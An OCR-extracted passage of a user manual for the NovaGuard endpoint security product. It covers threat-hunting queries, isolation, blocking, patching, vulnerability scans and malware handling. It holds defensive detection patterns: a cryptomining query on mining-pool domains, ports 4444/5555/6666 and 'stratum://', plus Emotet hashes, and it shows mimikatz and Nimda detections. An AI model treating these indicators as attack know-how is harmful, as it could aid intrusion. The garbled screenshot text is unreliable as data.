Search statement: 216.10.40.16,91.121.54.71,209.236.123.42,77.55.211.77
The query result is shown below.

1P Address - 21610401691121.5471,200.26. 1234277521177 m
Bookmars & Hisig

s & History | [ Help

Filer Last24nows  ~

3. Search by executable file hash value:

Enter one or more MD5 or SHA256 values of suspicious files separated by
commas (,) to search process operation and module loading activities for
endpoints matching the specified hash values and the corresponding

processes.

Example: Use the SHA256 value of the file related to the Emotet virus to query

potentially infected endpoints.

Search Statement:
a7f38b8959c668d02ced78306917fe8f7740cb199129db5f9408fb728a66cc5f
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The query result is shown below.

Hash - m
P Bookmarks & Histor

Fiter:  Last24nours  ~

i
[

3 online endpoints searched and o matches found from o endpoints. ®

No Endpoint Name Process Name Process File MDS Process Pat th Startup CMD Domain Visits

4. Search by File name

Enter one or more suspicious file names separated by commas (,) to search for
related endpoints and events. Fuzzy search using the wildcard (*) is supported.
Example: Use malicious Emotet file names to query potentially infected
endpoints.

Search Statement: setupcin*,4256cd.dll

The query result is shown below.

= 7| s s m

Filer. Last24nows v

iii

3 online endpoints searched and o matches found from o endpoints. ®

No. Endpoint Name Process Name Process File MDS Process Path Startup CMD Domain Visits

4.2.3.2 Search with Group Conditions

Multiple search conditions:

A search statement consists of the following elements: search object, field
name, value, comparison operator, and logical operator, as shown in the

following figure.

Ne‘n\'{rrk.src _ " 1" OR Process.proc _ Eowershd.l
_p £ss_name b

Example: Mining virus detection

Search Statement: (DNSEvents.domain = "*xmr*" AND DNSEvents.domain =
"*pool*") OR (NetworkEvents.dst_port = "4444" OR NetworkEvents.dst_port =
"5555" OR NetworkEvents.dst_port = "6666") OR
(ProcessEvents.process_commandline = "stratum://" OR

ProcessEvents.process_commandline = "cpu-priority")
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LlNoTE

The search query is not case-sensitive.

The query result is shown below.

. =gy AND DNSExents ol =poot™) OR port="4ei

Fier: | Last24hours  ~

3 online endpoints searched and o matches found from o endpoints. ®

No Endpoint Name: Process Name

Objects and fields

Process File MDS. Process Paih

port="5555" OR 3 port="6666) OR

Bookmarks & History | [Bj Help

Clear

Startup CMD Domain Visits

You can include the following objects in a set of conditions: Domain Name

Access, Connection, Process Operation, File Operation, Loaded Module, and

Devicelnformation. For details, see the following description:

Domain name access fields:

Field
timestamp
device_name
action_type
domain
return_ip
process_id
process_name
process_mdS
process_SHA236
process_path
process_commandline

process_user

Description

Time Detected
Endpoint

Action

Domain Name Queried
Returned Address
Process ID

Process Name

Process File MD5
SHAZ256

Process Path

Process Execution Command

Process User

Example

2021-06-1412:12
edr0043(10.32.36.52)

Access Domain Name

baidu.com
30.156.69.79,220.181.38,148

4305

PING.EXE
1926bedd 7 771a0f4f71dd2d28155862a
1d35014d937e02e2090a0cfc903ecbebb1bE5..,
CAWINDOWS\system32\PING.EXE
CAWINDOWS\system32\PING.EXE

NT AUTHORITYA\SYSTEM
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Connection fields:

Field

timestamp
device_name
action_type
src_ip

src_port

dst _ip

dst_port
protocol
process_id
process_name
process_md5S
process_SHAZ256
process_path
process_commandline

process_user

Description

Time Detected
Endpoint

Action

Source IP

Src Port

Dst IP

Dst Port

Protocol (TCP/UDP)
Process ID

Process Name
Process File MD5
SHAZ256

Pracess Path
Pracess Execution Command

Process User

File operation fields:

Field

timestamp
device_name
action_type
file_name
file_mds
file_sha256
file_path
prev_file_name
is_exist
process_id
process_name
process_md>S
process_SHAZ256
process_path
pracess_commandline

process_user

Description
Time Detected
Endpoint

Action

File Name

File MD5

File SHA256

File Path
Original File Path
File Exists
Process ID
Process Name
Pracess File MD5
SHAZ56

Pracess Path
Pracess Execution Command

Process User

Example
2021-06-14 1212
edr0043(10.32.36.52)
Network Access
1.1.1.1

22345

192.168.1.1

80

tcp

4305

PING.EXE

1926bedd777a0f4f71dd2d28155862a

1d35014d937e02e090a0cfc903eebebb1bES...

CAWINDOWS\system32\PING.EXE
CAWINDOWS\system32\PING.EXE

NT AUTHORITY\SYSTEM

Example
2021-06-14 12:12
edr0043(10.32.36.52)
Create a file

sss.php

f926bedd777fa0f4f71dd2d28155862a

93d48bf194d87b190dc1bIbEB3T011a58dc..,

E\wnww\sss.php
E\vnwwshell.php
Yes/No

4305

PING.EXE

f926bedd777falf4f71dd2d28155862a

1d35014d9372022e090a0cfc903eebebb1b65...

CAWINDOWS\system32\PING.EXE
CAWINDOWS\system32\PING.EXE

NT AUTHORITY\SYSTEM
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Process operation fields:

Field

timestamp
device_name
action_type
child_id

child_name
child_md5
child_sha256
child_path
child_commandline
child_user
process_id
process_path
process_md3
process_name
process_SHA256
process_commandline

process_user

Description

Time Detected

Endpoint

Action

Child Process ID

File Name of Child Process
File MDS5 of Child Process
File SHA256 of Child Process

Child Process Path

Child Process Execution Command

Child Process User
Process ID
Pracess Path
Process File MD3
Process Name
SHA256

Startup CMD

Process User

Loaded Module fields:

Field

timestamp
device_name
action_type
file_name
file_path
file_md5
file_sha256
process_id
process_name
process_md5
process_SHA256
process_path
process_commandline

process_user

Description

Time Detected
Endpoint

Action

Loaded File Name
File Path

Loaded File MD5
Loaded File SHA256
Process ID

Process Name
Process File MD5
SHAZ256

Process Path
Process Execution Command

Process User

Example

2021-06-14 12:12

edr0043(10.32.36.52)

Create Process

4305

SearchFilterHost.exe
1926bedd7771a0f4{71dd2d28155862a
0ba37d0db6d5d74e0b1d8ebc540c1acd4ad?...
CAWINDOWS\system32\SearchFilterHost.exe
0812 816 824 8192 820

NT AUTHORITYSYSTEM

29733

CAWindows\system32\services.exe
1826bedd7771alf4f71dd2d28155862a
services.exe
1d35014d937e0222090a0cfc9032e6e6b1b65...
C\Windows\system32\services.exe

NT AUTHORITYSYSTEM

Example

2021-06-14 12112

edr0043(10.32.36.52)

Loaded Module

kernel32.dll
C\Windows\System32\kernel32.dll
e1f{0d55e6bB6f7ebb531a236c5af635
92981d598dc950c191b0320955dd777fbac?...
4305

PING.EXE
1026bedd777fal0f4f71dd2d28155862a
1d35014d937e0222090a0cfc003eebebb1b65...
CAWINDOWS\system32\PING.EXE
CAWINDOWS\system32\PING.EXE

NT AUTHORITY\SYSTEM
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Device information fields:

Field
device_name
host name
os_name
os_version
mac_address
ipv4_addresses
ipv6_addresses
cpu_total
cpu_used
mem_total
mem_used
disk_total
disk_used
user_name
group_name

last_login_time

Values

The value of a field must be enclosed with a pair of quotation marks (" ).
Wildcards are supported: You can use a wildcard to represent one or more
characters in a value. You can use an asterisk (*) to substitute zero, one, or

multiple characters. The wildcard * can only be used together with the

Description
Endpoint
Hostname

0s

0OS Version
MAC Addresses
IPv4 Addresses
IPv6 Addresses
Total CPU (Hz)

CPU Used

Total Memary Size

Memory Used
Total Disk Space
Disk Space Used
System Account
Group

Last Login Time

Example
edr0043(10.32.36.52)
sangfor

Windows 7 Professional

6.1.7601 Service Pack 1 Build 7601

FE:FC:FE:11:08:F2
10.62.7.150
fe80:b0eb:5d89:f3c1:63d2
2.4GHz

1GHz

4096MB
1024MB

50GB

20GB
Administrator
Administrators

2020-03-16T07:41:16.7307

comparison operators "=" (equal) and "!=" (not equal).

Example: You can use mon* to represent the word "mongodb" or "mondodb".

Comparison operators:

Operator

=

=

Logical operators:

The log lookup system supports three operators: AND, OR, and NOT.

Notes

Equal to

Greater than

Greater than or equal to
Less than

Less than or equal to

Mot equal to
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1. AND: AND means that both fields must be matched.
2. OR: OR means that at least one field must be matched.

3. NOT: NOT excludes the records containing a single item or phrase following

the NOT operator.

4.2.4 Response

4.2.4.1 Endpoint Isolation

When NovaGuard detects a security event, it may classify the relevant endpoint
as compromised or at high risk after identification. In this case, you can isolate
the endpoint. An isolated endpoint can only communicate with the NovaGuard

manager. All other inbound and outbound traffic for the endpoint is denied.

Endpoint Isolation

® Refers to blocking endpoint network access to allow communication only with the manager. This feature is also supported on integrated Athena NDR. Athena XDR, and Athéna MDR devices.
El o~ a
2025-07-14 A
el - Ungrouped Assets @ Completed Manual admin Restore

The following figures show an example of privilege escalation in advanced

threats. To isolate the endpoint, click Isolate.

QHon s Viss od

5 Lagens +

Fllo MDS: 852

L1 Threat Alerts(1)

Message x

4 'j. . Are you sure you want to isolate WIN-PELAG1BTU2V (10.74.103.38)7

oo j If isolated. the endpoint will not be able to access any network. Please make sure that this will not
affect your business.
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Endpoint Isolation

O Refersto nemork access to withthe manager. This feat Athena XOR, R devices
Time Fixed Assetinfo Group Fixng Status Isolation Method Operator Operation
rou s ompieted anual admin estore
194734 locainost localdomain norouped) ol

To cancel the isolation, click Restore.

X

Are you sure you want to perform Restore operation on [l B ocainost localdomain)?

Administrators can also isolate an endpoint with NovaGuard agent installed as

an administrator by clicking New and entering the IP address.

Isolate Asset b

Specify Asset IP Confirm

* Asset IP:

Next Cancel
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4.2.4.2 File Quarantine

This page displays logs of quarantined web shell files and file quarantine tasks

issued when NovaGuard integrates with other platforms.

File Quarantine

egrated Alhena NDR Al

Expot | Refresn

Assetlp v Q
ime Fixed File Path MDS EventID Assetinfo Fixing Status Quarantine Method Operator Remarks Ope -
20250714 A
0 Quarantined Manual aamin Resk
141834

4.2.4.3 Access Blocking

You can configure an access control list (ACL) for a compromised endpoint to

block access from attackers' IP addresses.

Address Blocking
Refers to blocking inbound and outbound network access to prevent bolh infemal and extemal atack traffic
Bgot | Refresh AssetlP - Q
TmeFixed  Direction Protocol BockedlP  BlockedPot  EventType  BlockDuat. EventiD AssetInfo FiingStatus  BlockMethod  Operator Remarks Oper
2025.07-14 A s
i Inbound @ any BrueFoce..  Permanent  d5adododp.. ©@blocked  Manual admin = Unblock

4.2.4.4 Process Killing

When NovaGuard detects a security event, it may classify the relevant endpoint
as compromised or at high risk after identification. In this case, you can kill the

processes running on the endpoint.

Process Killing

4.2.4.5 Domain Blocking

When NovaGuard detects a security event, it may classify the relevant endpoint

as compromised or at high risk after identification. In this case, you can isolate

the relevant domain name.
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Domain Blocking

@ Refers to blocking endpoints' network connections to a specific domain by biocking their requests for that domain. This feature is also supported on integrated Athena NDR, Athena NGFW, Athena XDR, and Athena MDR devices.

m Export Refresh Asset P - Q
Time Fixed Domain Name Assetinfo Fixing Status Block Method Operator Remarks Operation
20250714 A 107440133

www.gwer.com @ Completed Manual admin - Restore

19:5217

Click New, enter the IP address of the endpoint where the NovaGuard agent is

installed, and specify the domain name or IP address to be isolated.

LLINoTE

This feature is unavailable for Linux operating systems, Windows Server 2008, or Windows

Server 2003.

Domain Blocking

Specify Asset IP

= Asset IP:

@ Unsupported OS: Windows 7, Windows Server 2008 and earlier

4.2.4.6 Coordinated Response

4.2.4.6.1 Lateral Movement Containment

This page displays the logs of network port-blocking tasks issued when

NovaGuard integrates with Network Secure and NovaCommand. You can
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cancel the blocking on NovaGuard as an administrator.

[« i Lateral C i Ci i Threat
@ Refers to blocking connections from malicio grams within the intranet. This feature is supported only on integrated Athena NDR devices.
n 1)
No. Asset Info Agent Status PID Process Name Process Path Block Policy Time Fixed ‘Administrator Operation 2
4.2.4.6.2 Behavioral Containment
This page displays the logs of domain names and process-blocking tasks issued
when NovaGuard integrates with Network Secure and NovaCommand. You can
view the logs on NovaGuard as an administrator.
Ci i P Lateral Ci i i C i Threat
B -
4.2.4.6.3 Threat Remediation
This page displays the logs of malicious file removal and rollback tasks issued
when NovaGuard integrates with Network Secure and NovaCommand. You can
view the logs on NovaGuard as an administrator.
For threats that have been removed, you can click Remediation Details to
view the details. Meanwhile, the administrator can click Roll Back on
NovaGuard to initiate a rollback.
Ci i Lateral C i i C i Threat
B-
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4.3 Risk Assessment

4.3.1 Windows Update

On the Windows Update page, you can view the frequently reported Windows
vulnerabilities from the perspectives of assets and patches. In addition, you

can select endpoints or patches and handle them as an administrator.

4.3.1.1 Patching

4.3.1.1.1 Assets

On the Assets tab, you can view the Windows patching statistics of endpoints,

including the total number of patches, the number of installed patches, etc.

Windows Update  Patehing g Scan Tasks

Palch

Select an endpoint and click Patch in the upper-left corner. Then, the

corresponding patches will be pushed to the endpoint.

LONoTE

Patches will be installed only on endpoints that are unpatched or failed to be patched. Some

patches may take a long time to install. Therefore, we recommend that you install no more

than 20 patches at a time.
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Message

Are you sure you want to install pending patches on the endpoint DESKTOP-
583KOFA (10.10.10.100)?

Patches will be installed on unpatched endpoints. Some patches may take a while to

install, so it is recommended to install no more than 20 patches at a time.

=

You can go to Policies > General Policies > Vuln Remediation and select
Remind users to restart under Restart After Patch Installation as an
administrator. This way, after the patches are successfully installed on the
endpoint, a notification message will appear to prompt the endpoint user to

restart the endpoint. The notification message can be customized as needed.

Basic Config Anti-Malware Reaitime Protection Anti-Ransomware Trust List General Settings Vuln Remediation Endpoint Confrol Customization

I8 Windows A Linux
| Restart After Patch Installation
(®) Remind users to restart

Notification Message

Patches have been installed. For securily, please restart your
endpoint

Restart Notification

(Save your files to prevent data loss)

Patches have been installed. For security, pl
ease restart your endpoint.
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4.3.1.1.2 Patches

On the Patches tab, you can view the number of unpatched endpoints for a
specific Windows patch, severity, impact type, whether an endpoint restart is

needed to apply the patch, release date, etc.

Windows Update  Patching  Sean Tasks Securty atch Package Versio: 20250613151225 alest), 962 Palches Supported | View Supporiad Paches

Assels  Patches

alle
No. Severty © Impact Restart to Apply Patch Name. Patch ID Release Date Last Scanned Unpatched Endpoints  Ignored Operation

1 High Nore. Yes 202310 Servicing Stack Update for Windows 10 Version. . KBS031539 2031010 2025-07-14 025701 3 o Pacn

Select a patch and click Patch in the upper-left corner. Then, the patch will be

pushed to the corresponding endpoints.

LLNoTE

Patches will be installed only on endpoints that are unpatched or failed to be patched. Some

patches may take a long time to install. Therefore, we recommend that you install no more

than 20 patches at a time.

Message

Are you sure you want to install the KB patch (5031539) to fix the
vulnerability?
Patches will be installed on unpatched endpoints. Some patches may take a while to

install, so it is recommended to install no m 20 patches at a time. After the patches

are installed, the endpoints need to be restarte: he changes to take effect.

Prompt users to restart after patch installation Configure Nofification Message

If Remind users to restart is selected, the corresponding endpoint users will
receive a notification message prompting them to restart the endpoints after
patch installation. The notification message is the same as the notification

message that is prompted after patch installation when Patch on the Assets

tab is clicked.
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4.3.1.2 Scan Tasks

On the Scan Tasks tab, you can view the patch template statistics, such as the
number of patches included in the predefined patch library, the time when the
patch library was last updated, and other key information. In addition, you can
create scan tasks for specific endpoint groups or endpoints to scan the

vulnerabilities on the endpoints groups or endpoints.

Windows Update = Patching  Scan Tasks Security Paich Package Version: 2025061315127 (latest), 3882 Patches Supported | View Supported Patches
Patch Templates AddTemplate < All Patches
a Custom Starttime T Ew Tas a
2 Details ScanAgain  Delete
All patches  Predefined Patch Tempiates Al patches Target Assels 2 Time Scanned  2025.07-14 201145
AllWindows paiches that are supported by Athena EFP
4 2,2
Target Patches 3882 Tasks 2
Pending Patches. Scanned/Target Assets Assets Failed to Scan
Last Updated  2025-07-14 09:25:16
scan 2 Details ScanAgain Delete
Patch Templates  All patches Target Assets 1 Time Scanned  2025-07-11 17:04:55
2 11

Pending Patches Scanned/Target Assets Assets Failed to Scan

Steps

Step 1. Click Add Task to create a scan task. In the Add Task dialog box,

configure the following parameters:
o Task Name: Specify the name of the scan task.
o Patch Templates: Select a patch template.

o Target Assets: Select the endpoint group or endpoint to which this scan

task will apply.

Add Task

* Task Name test
+ Patch Templates All patches
+Target Assets Endpoint Group @ Specified Assets

3 selected

Then, click OK. The scan task is created and automatically executed.
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Step 2. After the scan task is completed, click Details to view the scan result.

All Patches
Aad Task Custem 2 To 3 Q
test & \Deta\\s ScanAgain  Delete
Patch Tempiates Al paiches Target Assets 3 Time Scanned  2025-07-14 20:22:14
3 1

Pending Patches

2 2 Detalls  ScanAgain  Delete

Patch Templates  All patches TargetAssets 2 Time Scanned  2025-07-14 20:11:45

4 22

Pending Palches Scanned/Target Assets Assels Failed to Scan
Windows Update ~ Patching  Scan Tasks Securtty Patch Package Version: 2025061315127 (atest), 3862 Paiches Supported | View Supported Patches
Dsack  test @ Hide Overview
Time Detected 3 1
2025-07-14 20:25:22 Pending Palches Assefs Falled 1o Scan
Scan Again Export
v No. Patch Name Patch ID Affected Assets CVEID Patchable Version Impact Time Disclosed Last Scann
2023 ve Update for NET Framework 3.5, =} (DESKTOP-02H99IG) 2023-06-12 I
1 85027587 CVE 202324895 Windows 10 i Denial of Senvice 2025071420
0 Apply Online | Ungrouped Assets 23:30:56
2023-06 Cumulative Update for Windows 10 Version =] (DESKTOP-02H99IG) Information 2023-06-12
2 85027215 CVE-2023-24937 i Windows 10 : 20250714202
BTN Restart 0 Apply Online | Ungrouped Assets Disclosure 2327118
2023-10 Servicing Stack Update for Windows 10 Ver. =] (DESKTOP-00OHD4L 2023-10-10
3 85031539 - Windows 10 None 2025-07-14 20
Restart to Apply Online | Ungrouped Assets 022252

Step 3. Click the name of a patch to view the corresponding details, including
the asset information, last scan time, patch ID, impact, disclosure date,

patchable version, patch download URL, etc.
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Details X

# 2023-06 Cumulative Update for .NET Framework 3.5, 4.8 and 4.8.1 for Windows 10 Version 21H2 for x64 (KB5027537) |  Restart to Apply

Applicable Assets
Assetint IPAddress LTI Asset £ DESKTOP-. MAC Address FA-16-3E-09-3 Asset Details 71
Owner - Endpoint GroupUngrouped Assets os Windows 10 %.

Verification

Last Scanned 2025-07-14 20:23:06

Task Type Manual Scan

Basics

Patch ID KB5027537

Description A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft.
For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article. After you install this update, you may have to
restart your system.

Impact Denial of Service

Disclosure Date 2023-06-12 23:30:56
CVEID CVE-2023-24895,CVE-2023-24897 CVE-2023-24936,CVE-2023-29326,CVE-2023-29331,CVE-2023-32030

Patchable Version ~ Windows 10,Windows 10 LTSB

Download URL http: com/c u/2023/0! 10.0-kb5027122-x64-ndp48_a11a69ae9d831d1ec8309b33ad1cele347a5e86a
cab
Next Close

4.3.2 Vulnerabilities

4.3.2.1 Vuln List

4.3.2.1.1 Vulns

On the Vulns tab, you can view the detected vulnerabilities, including Linux
application vulnerabilities, database vulnerabilities, and Linux system

vulnerabilities.

" accountto Settings>
Vuln List Vuins ‘Scan Tasks Vuin Database Version: 20250613151226 (latest), 685 Vulns Supported | View Supported Vulns
@ The vulns detected here include Linux application vulns, trusted application vulns, database vuins, and Linux system vulns. x
Export Last 30 days. 2025-06-05 00:00.00 To  2025-07-04 235959 Q
| No. | Vuninio Afected Assets Afected App VunType | ScanMethod impact Time Discosss
racle Weblogic Server Remote C¢ xecution Vul. 81 g
1 il g ukSa E N EpRc iy 72.30224.43 (target_serv. Oracle WebL. App Vuln PoC Verification Command Injection 2017-10-19
Fighty Exploable Vi Vius Explot 43 Online | Ungrouped Assets | U
3 Oracle WeblLogic Server Remote Code Execution Vu B8 172.30.224 43 (target_serv. BAERGL — 5 Vil C i b8
race Wel un oG Verication ormand ifecion :
Highly Exploabe Von  Virus Explot +4  Online | Ungrouped Assets | U il ¥
Apache log4j2 Remote Code Execution Vulnerability 8 172.30.224 43 (target_serv. Version Improper
s Apache-Logti AppVun a0t1214
Fighly Exploable Vn Vius Explot $2  Online | Ungrouped Assets | U Camparison Cortguraton
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Details X

.“ Oracle Weblogic Server Remote Code Execution Vulnerability (CVE-2.

Highly Exploitable Vuln  Virus Exploit ~ Active Vuln  Vuln with Attack Gode Disclosure

VPT Level
VPT Level
Response veriewe @ Applicable Ass.
If exploited, the vulnerability could pose a significant risk, potentially allowing system control or a major data leak. Security experts must promptly respond to this event and notify relevant Veification
personnel for troubleshooting. Recommended Fix Timeframe: 7 days.
Basics
@ External Intelligence © Vuln Attribute Remediation
§ Have exp Not Hot Remote
Externa. Attack Hotor Access.
External Event  Based on CISAKEV © APT Group =
Virus Family CISAKEV Link h K loited
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4.3.2.1.2 Scan Tasks

Steps

Step 1. On the Vulns tab, click Scan Tasks to go to the Scan Tasks tab. Then,
click Add Task.

Vuln List Vulns Scan Tasks

(D) The vuins detected here include Linux application vulns, trusted application vulns, database vulns, and Linux system vulns.

In the Add Task dialog box that appears, configure the following parameters:
o Task Name: Specify the name of the scan task.
¢ Vuln Scan Template: Select a vulnerability scan template.

o Target Assets: Select the endpoint group or endpoint to which this scan

task will apply.

Add Task

*Task Name

*Target Assets (®) Endpoint Group Specified Assets.

0 selected

Scan based on the latest asset data

(Asset collection takes about 15 mins)

s

Step 2. Click OK. The scan task is created and automatically executed. If you

need to conduct a scan again, click Scan Again.
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Vuln List Vulns Scan Tasks

Vi

The vulns detected here inc

inux application vulns, trusted application vuins, database vuins, and Linux system vuins.

Vuln Scan Template Add Template < All Tasks @

Q Add Task Custom

All Tasks ‘

123 2

RANSOM EXPLOIT  Fredefined Associated Template  RANSOM EXPLOIT
Vuinerabiliies used in the spread of ransomware

2 3
Vuins Sc 5
LastUpdated  2025-06-24 11:14:46 D

arget Vulns 48 Tasks 1

Principles  Vulns

All Vulnerabilities  Predefined

Al\inarahilitioe

in Database Version: 2025061315126 (Iatest), 685 Vuins Supported

Details
1 Time Scanned  2025-06-30 15:59:25

1 \
ScannedTarget Assets Assets Failedto Scan

Step 3. After the scan task is completed, click Details to view the scan result.

VulnList ~ Vulns  Scan Tasks Vin

The vulns detected here include Linux application vuins, trusted application vulns, database vuins, and Linux system vulns.

Vuln Scan Template Add Template < All Tasks @

All Tasks ‘
123 2
RANSOM EXPLOIT _Prederned pssocaed Tempiate RANSOMEXPLOIT  Trget ssets
e ) s ol et
2 3

Target Vulns 48 asks 1

Vulns Scanned by Basic Principies Vuins
Last Updated  2025-06-24 11:14:46 0

All Vulnerabilities  Predefined

All Vulnerabiites.

VulnList = Vuins  Scan Tasks Vuin

The vulns detected here include Linux 2y

vuins, trusted application vulns, d

uins, and Linux system vuins.

DBack 1123
Time Detected & 3
2025-06-30 16:29:11 Vulns Scanned by Basic Principles © Vuins
Scan Again Export
v Ne. Vuln Info Affected Assets Affected App
Oracle Weblogic Server Remote Code Execution Vul. 5 172.30224.43 (target_serv.
1 Oracle WebL.
Highly Exploitable Vuln  Virus Exploit  +3 Online  Ungrouped Assets | U.
Apache log4j2 Remote Code Execution Vulnerability 55 172.30.224.43 (target_serv,
2 Apache-Logdj
Highly Exploitable Vuln ~ Virus Exploit  +2 Online  Ungrouped Assets = U.
Oracle WebLogic Server Remote Code Execution Vu 51723022443 (target_serv.
3 Oracle WebL.

Highly Exploitable Vuin  Virus Exploit  +4 ~ Online | Ungrouped Assets | U.

4.3.3 Compliance Checks

Database Version: 2025061315126 (latest), 685 Vuins Supported | View Supported Vulns

To Q

ScanAgain  Delete

1 Time Scanned  2025-06-30 15:59:25
11 \

Scanned/Target Assets

Database Version: 2025061315126 (latest), 685 Vuins Supported

@ Hide Overview

11
Scanned/Target Assets Assets Failed
Vuin Type Scan Method impact Time Discloset =
App Vuin PoC Verification Command Injection  2017-10-19
Version Improper
App Vuin 2021-12-14
Comparison Configuration
App Vuin PoC Verification Command Injection  2019-04-26

The Security Compliance module is for endpoints’ compliance checks. The

check content varies depending on the endpoint

4.3.3.1 Tasks

operating system.

The supported security compliance check is as follows:

Windows endpoints: account policy, access cont

information protection, intrusion prevention, and

rol, security audit, history

malicious code prevention.

X

View Supported Vulns

X

Q

View Supported Vuins

%
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Linux endpoints: account policy, access control, security audit, SSH policy

detection, intrusion prevention, and malicious code prevention.
Mac endpoints: not supported.

The following figure shows the configuration page.

Check Tasks General Check

MTass Aoarasi [N Lst0d 2m30s T 20231205 c

General Check

test

25.00% 12 /16 0.00% 111
Entty Pass Rate Threats/Eniites Pass Rl Endpoin

o0 2023-12-05 1705144

Click Add Task and select endpoints for which a compliance check is required,

as shown in the following figure.

Add Task X
Task Name:
Associated -
Assels (®) Group Endpoints
Available Q Selected (0 (@] -
All Groups Group Operation

Ungrouped Endpoints

SANGFOR-Htaly
pippo

NIKGE-taly

online

SANGFOR-TH

After detection is complete, you can view the detection result.

Al Tasks

Add Task Refresh Last 300 2003-10-26 To 20234124 Q

Checkz Details Re-check Delete
Associsled Rule:  General Check  Endpoinis Checked: 8 View Details

23.81% 0.00%

Entity Pass Rate Pass Rate

1 Details Re-check Delele
Associaled Rule: General Check  Endpoinis Checked: 8 View Delails

25.00% 96 /128 0.00% 718

Entity Pass Rate Threats/Enities Pass Rate Endpoints Not Passed/Endpoinis

To view the compliance detection result, click Details.
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Enties Threats Fass Rate Endpoints Not Passed Endpoints Passed Check Falled

16 12 0.00% | 0

No.  pssetino roup staus Thrests Tvoughs Resut Operation

1 I 106231151 WniBGLEN  Ungrouped Endpoins « Onine [ 1o [o] o © NotPassed Detats

& o

onine 1rvezs: [EE00
Entities
v e

No. Entity Name Entity Type Result
1 Loginicenity Auten..  AccountPolicy © NotPasse

2 LoginFaiureHanding  Account Paicy © NotPassed

3 RemoteMansgemen..  Account Polcy © NotPassed

4 Defauit Accounts Acce:

ontrol Poicy @Passed
5 SecurtyAudtPoicy  Securiy Audit Polcy © NotPassed
6 Auditlogs Security Audit Policy @ Passed

7 NonEssentil Syste Intrusion Prevention © NotPassed

Modify the configuration based on the endpoint compliance security setting

document and click Re-check to perform the compliance check again.

You can click Export to download the compliance check data.

4.4 Defense

4.4.1 Malware Scan

You can issue scan tasks from the NovaGuard manager to identify suspicious
files on endpoints. The scan operation uses various engines, including Local
Reputation Database, ForeNova Engine Zero, Behavioral Analytics Engine, Gene

Analytics Engine, and Cloud-Based Engine.

Virus scan tasks include three types: quick scan, full scan, and forced scan. To
select a task type, move the pointer over the Quick Scan button. The following

table outlines the differences between these three task types.

Scans all files on the endpoint hard disks.

Scans important file directories on the system disk, which

include the following ones on different operating systems:

Windows:
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/Windows, /Windows/system32, and private directories under

/Windows/system32

/Windows/system32/drivers and its subdirectories
Linux:

/bin, /sbin, /usr/sbin, /usr/bin, /lib, /lib64,
/usr/lib/usr/lib64, /usr/local/lib, /usr/local/lib64,
/tmp, /var/tmp, /dev, and /proc

macOS:

/private/tmp, /Users/[Current account name]/Downloads,
/Users/[Current account name]/Desktop, /Users/[Current

account namel/Documents

For stubborn viruses, you can use the dedicated tool on the
NovaGuard manager to handle viruses in bulk. It helps you
respond rapidly to widespread, stubborn viruses. Currently,

this feature applies to Windows systems only.

4.4.1.1 Malware

4.4.1.1.1 Virus-Infected Files

Go to Defense > Malware Scan > Malware to find the details of detected
security events, including malware, ransomware, cryptomining, backdoor

programs, and worms, as shown in the following figure.

12> Please rename the default super admin account to meet compliance requirements.  Settings>

Malware Virus-Infected Files Ransomware and Threats

Pending  Fixed

Fix ® T o jeriiiy @ | | Refresh
Identification Status ¥ AgentStatus ¥ Stats 7 EnvionmentType | FileType 7 Severty ¥ ThreatType “  LastDetected (A
No. | Security Event Infected Endpoint Endpoint IP Agent Status Identification Result = Owner Infected Entity L
Win32 Saity3
1 QI | infectious Vins | QEEREIID (2 Victim1-DESKTOP_.  172.30.224.47,1 @ Online View clusers\administratoridesktop!.
Gen:Variant Midie. 110823
2 o OhE (2 Victim1-DESKTOP...  172.30224.47,1... @ Online View clusers\administrator\desklopl.
Generic Malware SYBdIdid| 2CF109A5
3 B | Giher (2 Victim1-DESKTOP_..  172.30.224.47,1 @ Oniine View c\users\administratoridesktop!.
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You can also filter security events by endpoint status, handling status, file type,

severity, threat type, last detection time, and endpoint name/IP address/virus

name/file path as an administrator. For example, to handle online security

events only, filter events by selecting Online for Endpoint Status.

Click the name of a security event to check its details, as shown in the following

figure.

Event Details

Virus Mame:
Infected File
Threat Type:
Security Engine:
Detection Method:
Antivirus DB:

File Type

File Size:

File MD5:

Time Created

Pending:

HackTool Wing4. Mimikatz uwccg

cusersiadministratoridesktopimimivG4\mimikatz sxe §

Sangfor Engine Zero

Manual Scan

20231010215243

Executable

876.7 KB

2380e1f59018bhd7 765bbadccf413247

2023-D8-17 05:22:34

17 this is non-system file, please quarantine or delete it and enhance directory permission

settings.

The Pending tab displays a list of pending security events. Under the

Operation column, you can click Fix, Trust, or Ignore to handle the event. For

example, for an infected file you want to quarantine, click Fix for the
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corresponding event, as shown in the following figure.

Fix x

AT Are you sure you want to fix the threat
TN N (cusersiadministratorideskiopimimitgd \mimikatz.exe) on endpoint WIN-
. PELAS1BTU2V({10.74.103.38)?

Also Fix file with same MDS on other endpoints
If space is insufficient, automatically clean up the QGuarantine area before

fixing files

Select Also Fix file with same MD5 on other endpoints to fix the same

infected file on other endpoints in bulk.

If you select the If space is insufficient, automatically clean up the
Quarantine area before fixing files, the files in the Quarantine area will be
automatically cleaned up if the number of files in the Quarantine area has

reached the upper limit.

LLINOTE

If the If space is insufficient, automatically clean up the Quarantine area before fixing

files is selected, half of the files in the Quarantine area will be automatically cleaned up

sequentially.

If you are unsure whether a file is malicious, click Identify or Analyze to
submit the file to Neural-X Threat Intelligence for further analysis and

identification.

The Neural-X service provides file identification capabilities backed by security
experts, sandboxes, and engines, and analyzes files using a Cloud-Based
Engine and the collected intelligence. It provides more accurate identification

results and a closed-loop approach to event handling.

When the NovaGuard manager is connected to the Internet, any detected

infected files are automatically identified by Neural-X, which will then provide
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relevant results. In cases where files cannot be automatically identified, you

can manually submit them to Neural-X for identification.

Neural-X Service

Are you sure you want o submit the selected virus-infected files to Neural-x.
The upper limit for a single disposal is 10000 pieces of data. Data exceeding 10000 will not be
processed.

Upload suspicious files for mare accurate analysis (the files are used

for identification only. Ignore this if the files already exist in the cloud)

OK Cancel

After identification is complete, click View to review the identification details.

Details

Event Details Identification Details

The file is identified as harmful.

File Name : c\users\administrator\desktop\temps\temps\sandbox file_ 363747771b982fd0a5¢c92cf57
b0d46f5 Ml

Engines : 55/67 (number of engines identifying as black file/number of engines involved in
identification)

Virus Name:  Worm.Win32-Script.Save.Nimda

Virus Type : Worm

File Category: Non-system File

Identification Method : Neural-X Identification

Basics

Time Created: 2022-11-10 03:08:59

Publisher : -

File MDS5 : 363747771b982fd0a5¢92cf57b0d46f5 Ml
File Size : 2.8 MB

File Type : Executable
